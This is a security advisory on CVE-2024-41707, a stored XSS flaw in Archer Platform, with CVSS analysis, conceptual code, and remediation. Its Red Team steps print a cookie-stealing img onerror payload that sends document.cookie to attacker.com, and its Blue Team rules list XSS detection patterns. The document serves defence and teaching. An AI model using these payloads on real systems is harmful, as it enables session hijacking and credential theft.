CVE-2024-41707

Executive Summary

CVE-2024-41707 is a stored HTML injection vulnerability in Archer Platform versions 6 prior to 2024.06. An authenticated remote attacker can inject malicious HTML into a trusted application data store. When other authenticated users access this data store via their browser, the injected HTML executes in the context of the vulnerable application. This is a cross-site scripting (XSS) variant that can lead to session hijacking, credential theft, or defacement. The vulnerability requires authentication and user interaction, resulting in a CVSS score of 4.8 (Medium). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects the proprietary Archer Platform, an enterprise governance, risk, and compliance (GRC) solution. The supply chain risk is limited to the vendor’s software distribution and update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker must be an authenticated user.
• User Interaction (UI): Required – The victim must access the malicious data store.
• Scope (S): Changed – The injected code can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the potential for stored XSS in a trusted application makes it a significant concern for organizations using Archer Platform.

Deep Dive & Mechanics

The vulnerability resides in the Archer Platform’s data store functionality. The application fails to properly sanitize user-supplied HTML input before storing it. An authenticated attacker can submit malicious HTML (e.g., <script>alert('XSS')</script> or <img src=x onerror=...>) through a legitimate input field. This input is stored in the backend database without encoding or escaping.

When another authenticated user (or the same user) views the data store entry, the malicious HTML is rendered by the browser. Because the content is served from the trusted Archer domain, the browser executes the injected code in the context of the Archer application’s origin. This allows the attacker to bypass same-origin policy restrictions and perform actions such as:

• Stealing session cookies (if not HttpOnly)
• Performing actions on behalf of the victim (CSRF-like)
• Redirecting to phishing pages
• Defacing the application interface

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding or input validation for HTML content in the data store feature.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Archer Platform < 2024.06 - No sanitization
function saveDataStoreEntry(userInput) {
    // Directly stores user input without encoding
    database.save(userInput);
}

function displayDataStoreEntry(entryId) {
    let entry = database.get(entryId);
    // Renders raw HTML without escaping
    document.getElementById('content').innerHTML = entry;
}

Patched Code (Conceptual):

// Archer Platform 2024.06+ - Input sanitization and output encoding
function saveDataStoreEntry(userInput) {
    // Sanitize input using a library like DOMPurify
    let sanitized = DOMPurify.sanitize(userInput);
    database.save(sanitized);
}

function displayDataStoreEntry(entryId) {
    let entry = database.get(entryId);
    // Use textContent to prevent HTML execution
    document.getElementById('content').textContent = entry;
    // Or use a safe rendering method with encoding
}

The patch likely involves implementing server-side input validation and output encoding. The exact fix is proprietary, but the principle is to treat all user-supplied data as untrusted and encode it before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session on Archer Platform (version < 2024.06)
• Access to a data store entry creation/modification feature

Exploitation Steps:

1. Log in to Archer Platform as an authenticated user.
2. Navigate to a data store entry that accepts HTML input (e.g., a description field).
3. Inject the following payload into the field:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload for session theft:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the entry. The malicious HTML is now stored in the database.
5. Wait for another authenticated user to view the entry. The payload executes in their browser.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor Archer Platform logs for unusual input patterns in data store fields (e.g., <script>, onerror, javascript:).
2. Use web application firewalls (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Review access logs for repeated access to the same data store entry by multiple users (potential victim targeting).

Hunting Query (Splunk):

index=archer_logs sourcetype=archer:audit
| search "DataStore" AND ("<script" OR "onerror" OR "javascript:")
| table _time, user, action, entry_id, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains from Archer application servers (potential data exfiltration)
  • Unusual Referer headers pointing to Archer data store pages

• Host IOCs:

  • Browser console errors related to CSP violations
  • Unexpected JavaScript execution in Archer application context

• Application IOCs:

  • Data store entries containing HTML tags like <script>, <iframe>, <img onerror>
  • Anomalous user activity: multiple users accessing the same data store entry in a short time

Detection Engineering

YARA Rule

rule CVE_2024_41707_Archer_XSS {
    meta:
        description = "Detects stored XSS payloads in Archer Platform data store entries"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41707"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $xss5 = /<img[^>]*src\s*=\s*[^>]*>/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Archer Platform Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Archer Platform data store entries
author: Valters IT
date: 2025-04-10
logsource:
    product: archer
    service: audit
detection:
    selection:
        action: "DataStore_Update"
        payload|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in data store fields (e.g., formatting)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41707 Archer Stored XSS - Outbound Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the official patch by upgrading to Archer Platform 2024.06 or later.
2. Input Validation: Implement strict server-side input validation to reject or sanitize HTML tags.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the browser.
4. Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.

Long-Term Measures:

• Conduct regular security code reviews focusing on input/output handling.
• Use automated SAST/DAST tools to detect XSS vulnerabilities.
• Implement a web application firewall (WAF) with XSS protection rules.
• Train developers on secure coding practices (OWASP Top 10).

Workaround (if patching is delayed):

• Disable the data store feature or restrict access to trusted users only.
• Manually review and sanitize all data store entries.
• Monitor logs for suspicious activity.

Valters IT
DevSecOps & Cyber Threat Intelligence